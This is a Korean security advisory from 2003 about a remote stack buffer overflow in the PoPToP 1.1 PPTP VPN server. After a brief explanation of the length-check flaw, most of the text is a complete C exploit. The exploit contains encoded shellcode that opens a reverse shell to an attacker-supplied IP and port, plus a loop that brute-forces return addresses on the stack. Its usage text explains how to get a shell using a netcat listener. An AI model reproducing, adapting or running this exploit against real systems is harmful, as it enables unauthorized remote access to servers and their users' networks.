PoPToP 버퍼오버플로우 공격코드

발표날짜 :
2003.04.19

해당 시스템 :
- PoPToP 1.1

공격 유형 :
원격

위험도 :
중

문제점 :
PPTP-over-IPSEC 는 VPNs 를 생성하는데 사용되는데 PPTP 패킷 헤더는 패킷의 전체 길이를 규정하는 16 비트 길이를 가지고 있다.

bytes_this = read(clientFd, packet + bytes_ttl, 2 - bytes_ttl);
// ...
bytes_ttl += bytes_this;
// ...
length = htons(*(u_int16_t *) packet);
if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
// abort
}

이 코드에는 아무 이상이 없는것 같지만 다음 부분이 문제이다.

bytes_this = read(clientFd, packet + bytes_ttl, length - bytes_ttl);

주어진 값이 0 이나 1 이면 "length - bytes_ttl" 의 결과는 -1 이나 -2 가 된다.

이것의 의미는 클라이언트로 부터 패킷으로 무제한의 데이터를 읽는다는 것인데 여기서 스택에 버퍼오버플로우를 야기 시킨다.

이 공격의 성공여부는 libc 가 SSIZE_MAX 바이트 보다 큰 크기의 파라미터를 받아 들이느냐에 달려있다.

GLIBC 에서는 성공여부를 확인했고 솔라리스와 *BSD 에서는 안통하는 것으로 알려졌다.

공격법 / 공격용 소스코드 :
#include <iostream.h>
#include <winsock.h>
#include <stdio.h>

#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD


char shellcode[] =

"\x1a\x76\xa2\x41\x21\xf5\x1a\x43\xa2\x5a\x1a\x58\xd0\x1a\xce\x6b"
"\xd0\x1a\xce\x67\xd8\x1a\xde\x6f\x1e\xde\x67\x5e\x13\xa2\x5a\x1a"
"\xd6\x67\xd0\xf5\x1a\xce\x7f\xf5\x54\xd6\x7d"

"\x01\x01" // port

"\x54\xd6\x63"

"\x01\x01\x01\x01" // ip address

"\x1e\xd6\x7f\x1a\xd6\x6b\x55\xd6\x6f\x83\x1a\x43\xd0\x1e\xde\x67"
"\x5e\x13\xa2\x5a\x03\x18\xce\x67\xa2\x53\xbe\x52\x6c\x6c\x6c\x5e"
"\x13\xd2\xa2\x41\x12\x79\x6e\x6c\x6c\x6c\xaa\x42\xe6\x79\x78\x8b"
"\xcd\x1a\xe6\x9b\xa2\x53\x1b\xd5\x94\x1a\xd6\x9f\x23\x98\x1a\x60"
"\x1e\xde\x9b\x1e\xc6\x9f\x5e\x13\x7b\x70\x6c\x6c\x6c\xbc\xf1\xfa"
"\xfd\xbc\xe0\xfb";




struct pptp_header {
u_int16_t length; /* pptp message length incl header */
u_int16_t pptp_type; /* pptp message type */
u_int32_t magic; /* magic cookie */
u_int16_t ctrl_type; /* control message type */
u_int16_t reserved0; /* reserved */
};

#define MAX_HOSTNAME_SIZE 64
#define MAX_VENDOR_SIZE 64
#define PPTP_VERSION 0x0100

struct pptp_start_ctrl_conn_rqst {
struct pptp_header header; /* pptp header */
u_int16_t version; /* pptp protocol version */
u_int16_t reserved1; /* reserved */
u_int32_t framing_cap; /* framing capabilities */
u_int32_t bearer_cap; /* bearer capabilities */
u_int16_t max_channels; /* maximum channels */
u_int16_t firmware_rev; /* firmware revision */
u_int8_t hostname[MAX_HOSTNAME_SIZE]; /* hostname */
u_int8_t vendor[MAX_VENDOR_SIZE]; /* vendor */
};

struct pptp_echo_rqst {
struct pptp_header header; /* header */
u_int32_t identifier; /* value to match rply with rqst */
char buf[10000];
};

struct pptp_reply {
struct pptp_header header; /* header */
char buf[10000];
};


/* Magic Cookie */
#define PPTP_MAGIC_COOKIE 0x1a2b3c4d

/* Message types */
#define PPTP_CTRL_MESSAGE 1

/* Control Connection Management */
#define START_CTRL_CONN_RQST 1
#define START_CTRL_CONN_RPLY 2
#define STOP_CTRL_CONN_RQST 3
#define STOP_CTRL_CONN_RPLY 4
#define ECHO_RQST 5
#define ECHO_RPLY 6

// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50

void send_init_request(SOCKET st)
{
pptp_start_ctrl_conn_rqst request;
request.header.magic = htonl(PPTP_MAGIC_COOKIE);
request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

request.version = PPTP_VERSION;
request.framing_cap = 0;
request.bearer_cap = 0;
request.max_channels = 1;
request.firmware_rev = 0;
strcpy(request.hostname,"hell");
strcpy(request.vendor,"domain HELL");
request.header.length = ntohs(sizeof(request));

send(st,(char*)&request,sizeof(request),0);

}

void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
{
pptp_echo_rqst ping;
ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
ping.header.ctrl_type = htons(ECHO_RQST);
ping.identifier = 111;

ping.header.length = ntohs(1);


strcpy(ping.buf,"");

int buflen = 500;
for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");
memcpy(ping.buf+364,(char*)&ret,4);

// patch shellcode
// we have a shellcode xored by 0x93.. let's unxor it :)
for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;

*(unsigned short int*)(shellcode+43) = htons(port);

*(unsigned long int*)(shellcode+48) = inet_addr(hostname);

// we leave 100 bytes for NOPs
memcpy(ping.buf+100,shellcode,sizeof(shellcode));

send(st,(char*)&ping,sizeof(ping.header)+buflen,0);

}

SOCKET st;

int connect_server(char* hostname)
{
st=socket(PF_INET,SOCK_STREAM,0);
if (st==INVALID_SOCKET) return 0;

sockaddr_in addr;

addr.sin_family=AF_INET;
addr.sin_port=0;
addr.sin_addr.s_addr=0;
bind(st, (LPSOCKADDR)&addr,sizeof(addr));


addr.sin_family=AF_INET;
addr.sin_port=htons(1723);
addr.sin_addr.s_addr=inet_addr(hostname);
printf("connecting... ");
if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
{
printf("Connect error. GetLastError=%d\n",GetLastError());
return 0;
}
return 1;
}

int main(int argc, char** argv)
{
printf("\n");
printf(" D H H \n");
printf(" D H H T\n");
printf(" D H H H T EE AA M M \n");
printf(" DDD D HHHHHHH T E E A A MM MM \n");
printf(" D DD H H H TTTT E E A A MM MM \n");
printf(" D D H H T EEE AAAA M M M \n");
printf(" D D H H T E A A M M \n");
printf(" DDDD H H TTT EEE A A M M ");
printf(" ... presents ... \n\n");
printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
printf("by .einstein., April 2003.\n");
printf("\n");
if (argc < 2)
{
printf("usage: \n");
printf(" %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
printf(" <pptp_server> is the ip address or hostname of the PoPToP server\n");
printf(" you want to attack. Port 1723 is used for connection\n");
printf(" <your_ip> and <your_port> - specify an ip address to which\n");
printf(" a connection is possible to port <your_port> and set up a\n");
printf(" netcat listener. You'll get a reverse shell.\n");
printf(" <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
printf(" If you only pass a single parameter, the program will check\n");
printf(" whether remote server is vulnerable or not. Otherwise it will\n");
printf(" perform a ret bruteforce.\n");
printf("usage examples:\n");
printf(" %s 192.168.1.2 192.168.1.1 5555\n",argv[0]);
printf(" attack 192.168.1.2 and get a reverse shell on port 5555\n");
printf(" %s 127.0.0.1 127.0.0.1 6666 100\n",argv[0]);
printf(" attack a locally running pptpd with a timeout of 100 ms\n");
printf(" and get a shell on port 6666.\n");
printf(" %s 192.168.1.56\n",argv[0]);
printf(" check if the PoPToP server on 192.168.1.56 is vulnerable.\n");
return 0;
}


int timeout = 500;
if (argc >= 5) timeout = atoi(argv[4]);

// init winsock
WORD version=0x0101;
WSADATA data;
WSAStartup(version,&data);

DWORD ret;
if (argc == 2)
{
if (!connect_server(argv[1])) return 1;

printf("\nChecking if the server is vulnerable..\n");
printf("(if it is you have to wait 65 seconds)..\n");
send_init_request(st);

ret = 0x01010101;
int bytes;
pptp_reply reply;

//header length
bytes = recv(st,(char*)&reply,2,0);
bytes = ntohs(reply.header.length);
bytes = recv(st,(char*)&reply+2,bytes-2,0);
int j = htons(reply.header.ctrl_type);
send_ping_overflow(st,ret,"0.0.0.0",0);

//header length
bytes = recv(st,(char*)&reply,2,0);
printf("PoPToP server is ");
if (bytes != SOCKET_ERROR) printf("vulnerable!\n");
else printf("not vulnerable\n");
closesocket(st);

return 1;
}

printf("[!] Attempting bruteforce against %s\n",argv[1]);
printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));

int checked = 0;

for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
{
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");

// initial packet
send_init_request(st);

//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
closesocket(st);

Sleep(timeout);
printf("done\n");


}

return 0;
}

출처: http://www.hackersnews.org/